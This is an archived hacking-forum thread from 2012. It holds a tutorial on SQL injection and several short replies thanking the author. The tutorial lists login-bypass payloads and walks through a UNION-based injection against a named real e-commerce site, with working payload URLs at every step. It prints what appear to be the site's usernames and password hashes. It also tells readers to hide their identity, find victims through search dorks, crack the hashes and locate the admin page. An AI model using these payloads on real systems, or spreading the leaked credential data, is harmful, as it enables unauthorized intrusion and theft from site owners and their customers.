Basic SQL injection[Tutorial] - Printable Version

Basic SQL injection[Tutorial] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Basic SQL injection[Tutorial] (/showthread.php?tid=2459564)

Pages: Pages 1 2 3 4

Basic SQL injection[Tutorial] - Suved - May 8, 2012

[img]http://img4.imageshack.us/img4/368/coollogocom71588305.png[/img]

What is SQL injection?
SQL injection is used to exploit and extract data from website.Using SQL injection attacker can extract data like Admin login information,credit cards details,emails,phone no,address,name etc.
SQL - Structured Query Language
SQL is a programming language use to communicate and manage database.
If this doesn't satisfy your curiosity then here's a link to Wikipedia.

Hiding yourself on Internet
refer the following tutorials

[Tutorial] Stay Anonymous and Secure [Online & Offline] [Updated]-- by Techie
[Tutorial] Become anonymous, hide IP, encrypt&hide HDD, hide identity ****-- by WhiteFlame

I know it should not be in the middle of SQL injection tutorial.but I don't want anyone of us to get caught.It is important to stay anonymous while hacking.

let's start a real stuff.

Finding Vulnerable Website Using Dorks
Dorks list -- by SideSwipe.
Just copy one Dork for eg- inurl:index.php?id= and Google it.

Gaining Access to Administrator Account Using Quries
Examples:

Code 
http://www.uslandandhome.com/admin/index.php

http://www.orinux.com//admin

' or 'x'='x use this in admin and password boxes.

Code 
[color=#32CD32]Username:[/color]' or 'x'='x

[color=#32CD32]Password:[/color]' or 'x'='x

you can also try following queries:

Code 
' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

Normal/UNION Based SQL Injection

Checking Vulnerability
Target:

Code 
http://www.gocontempo.com/pages.php?id=2

Add ' (apostrophe) at the end of link

Code 
http://www.gocontempo.com/pages.php?id=2'

following error will occur:
Spoiler (Click to View)
If website loaded as it is without error or unharmed then website is not vulnerable to SQL injection.If it gives error we can move further otherwise you can select another website.

Finding Number Of Columns

Code 
http://www.gocontempo.com/pages.php?id=2+order+by+1--  NO ERROR

http://www.gocontempo.com/pages.php?id=2+order+by+2--  NO ERROR

http://www.gocontempo.com/pages.php?id=2+order+by+3--  NO ERROR

http://www.gocontempo.com/pages.php?id=2+order+by+4--  NO ERROR

http://www.gocontempo.com/pages.php?id=2+order+by+5--  NO ERROR

Keep increasing number till we get an error.
Don't forget to add --(two hypen) at the end of link.

Code 
http://www.gocontempo.com/pages.php?id=2+order+by+15--  ERROR

Spoiler (Click to View)
finally we got error at order+by+15--. It means that our website contain 14 columns.

Determining Vulnerable Columns

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Code 
http://www.gocontempo.com/pages.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Don't forget to add - (hyphen) after id= . If you are using id=null+union+select.. then there is no need to add -(hyphen) after id= .
Spoiler (Click to View)
It will display vulnerable columns.It displays column number 4 is vulnerable.
we will use vulnerable column to extract data from website.

Determining Mysql Version
It is easy to find Mysql version.Replace vulnerable column with

Code 
@@version

Code 
version()

we got column number 4 vulnerable so we will replace column number 4 with @@version.

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14--

Spoiler (Click to View)

Code 
5.1.61-community-log

we got mysql version 5.1.61 it's good.If you got mysql version less than 5 then you have to use error based SQL injection.I am not going to explain error based SQL injection.so leave that website and choose another.let's move further..

Finding Database

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14+from+information_schema.schemata--

Spoiler (Click to View)

information_schema contains metadata.Metadata is data about other data such as tables and columns.
information_schema.schemata contains name of all databases.
we got names of database information_schema,gocontem_contempo

Finding Tables

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14+

from+information_schema.tables+where+table_schema=database()--

This will display tables.
Spoiler (Click to View)
It is not in proper manner.we need to bring them in proper manner so we can observe them clearly.
just add 0x0a after table_name
0x0a means new line.

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name,0x0a),5,6,7,8,9,10,11,12,13,14+

from+information_schema.tables+where+table_schema=database()--

Don't forget to add , between 0x0a and table_name
Spoiler (Click to View)
we got following tables:

Code 
adtrackz_actions

,adtrackz_alerts

,adtrackz_campaigns

,adtrackz_campaigns_st

,adtrackz_clicks

,adtrackz_groups

,adtrackz_login

,adtrackz_preferences

,adtrackz_redirects

,adtrackz_sales

,adtrackz_split_test_campaigns

,adtrackz_split_test_groups

,adtrackz_subcampaigns

,contempo_slideshow

,tblcanadatax

,tblcategory

,tblcolors

,tblcountry

,tblcustomers

,tbldesigner

,tbldiscountcodes

,tblgroup

,tblimages

,tblmaincategory

,tbloption

,tbloptionname

,tblorderdetails

,tblorders

,tblpage

,tblpagename

,tblpermissionlevels

,tblpermissions

,tblpics

,tblproducts

,tblrelated

,tblsitemap

,tblstate

,tblsubcategory

,tblsupplier

,tbltemp

,tbltempoption

,tbltempoptionname

,tbltemppics

,tbluserpermissions

,tblusers

,tblvendor

our goal is to get admin username and password.so we are going to extract columns from tblusers.

Finding Columns

Code 
www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(column_name,0x0a),5,6,7,8,9,10,11,12,13,14+

from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)--

we need to convert our table name into ASCII value.
String - ASCII, HEX, Binary Converter
Spoiler (Click to View)
we got columns from tblusers.

Code 
UserId,UserName,UserPwd,UserLevel

Extracting Data From Columns

Code 
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(UserId,0x3a,UserName,0x3a,UserPwd,0x3a,UserLevel,0x0a),5,6,7,8,9,10,11,12,13,14+from+tblusers--

here 0x3a separates UserId,UserName,UserPwd,UserLevel from each other.0x3a is converted into : (colon).
Spoiler (Click to View)

Code 
3:contempo:043d9d7cd5afa18257b77164bc91205e:1

,4:contempo:416947dc3ddd5871659ee142273ffa95:1

,19:gocontempo:27b811b22de87faa7925ae3c2a0337fe:0

,20:sample:1b4ea4c5cc5181229340c1c188baad6f:0

🤗
Finally we got usernames and passwords.
password are not in plain text they are in encrypted form.we need to decrypt them.
Admin Login Page:

Code 
http://www.gocontempo.com/admin/index.php

Identifying Hashes
Refer these tutorials for identifying hashes.

[Bookmark] Hash Types [You will need it]-- by Haxor
[REFERENCE] HASH TYPE REFERENCE GUIDE [REF]-- by Hooded Robin
[RELEASE] ##Hash Identifier## Don't know the type of hash? COME HERE![Zer0]-- by Zer0Freak

Cracking Hashes

Finding Admin Login Page

Online Admin login panel finder

Perl Script

Requirements:
Download ActivePerl and install
Admins.pl
open CMD and navigate to admins.pl or simply double click on admins.pl file.
Spoiler (Click to View)
now enter name of your targeted site and press enter
eg:http://www.gocontempo.com
Spoiler (Click to View)
type coding language of your website such as php,asp.If you don't know coding language then type any and press enter It will begin scanning for Admin Control Panel.

🤝Thank you for reading my tutorial.🤝
Please post comments and let me know how was tutorial.

* - DemonAsylum - May 8, 2012

Many tutorials on this already, but it looks like you put a lot of time and effort into this one so good post. Ill have to take a look through it all at some point.

* - Little Hippo - May 8, 2012

there are many good tutorials on it but appreciate the hardwork you put into it

* - Suved - May 8, 2012

(May 8, 2012 11:52 PM)DemonAsylum Wrote: Many tutorials on this already, but it looks like you put a lot of time and effort into this one so good post. Ill have to take a look through it all at some point.

Thank you for appreciation and If there are any mistakes let me know through PM service.

(May 8, 2012 11:52 PM)Young Homie Wrote: there are many good tutorials on it but appreciate the hardwork you put into it

thank you for appreciation.🤝

* - shivam - May 9, 2012

Thank You for sharing this TUT...Gr8 work u...I appreciate ur hardwork behind this TUT..Thnxx once again..

* - Suved - May 10, 2012

(May 9, 2012 12:53 AM)shivam Wrote: Thank You for sharing this TUT...Gr8 work u...I appreciate ur hardwork behind this TUT..Thnxx once again..

Thank you for appreciation.
Thank you for appreciation.

[img]http://img341.imageshack.us/img341/3705/viewss.jpg[/img]
114 views and only 5 replies.
😭😭😭😭😭😭

* - JessyV - May 11, 2012

nice one but that look really hard, i dont really understand , can you help me on skype share screen or teamviewer mate ?

* - Suved - May 11, 2012

(May 11, 2012 03:22 AM)jessysoft Wrote: nice one but that look really hard, i dont really understand , can you help me on skype share screen or teamviewer mate ?

thanks for reply.
thanks for reply.

* - skunkiller - May 13, 2012

thanks for great tutorial :) appreciate the work

* - Suved - May 13, 2012

(May 13, 2012 05:02 AM)skunkiller Wrote: thanks for great tutorial :) appreciate the work

Thank you for your reply.

The message is . Please enter a message longer than 35 characters.

* - www_webhead - May 18, 2012

Nice tutorial man good work dude..

* - Suved - May 18, 2012

(May 18, 2012 02:24 AM)www_webhead Wrote: Nice tutorial man good work dude..

Thank you sir.🤝
msg is short

* - WebHacking - May 18, 2012

Thank you for a great tutoriel, but how many tutoriel of injection SQL are in this section xD !

* - RobertHacking - May 18, 2012

Can you SQL Inject without using Dorks?

* - soeasy - May 24, 2012

Nice work mate 🤝
Thanks for sharing

soeasy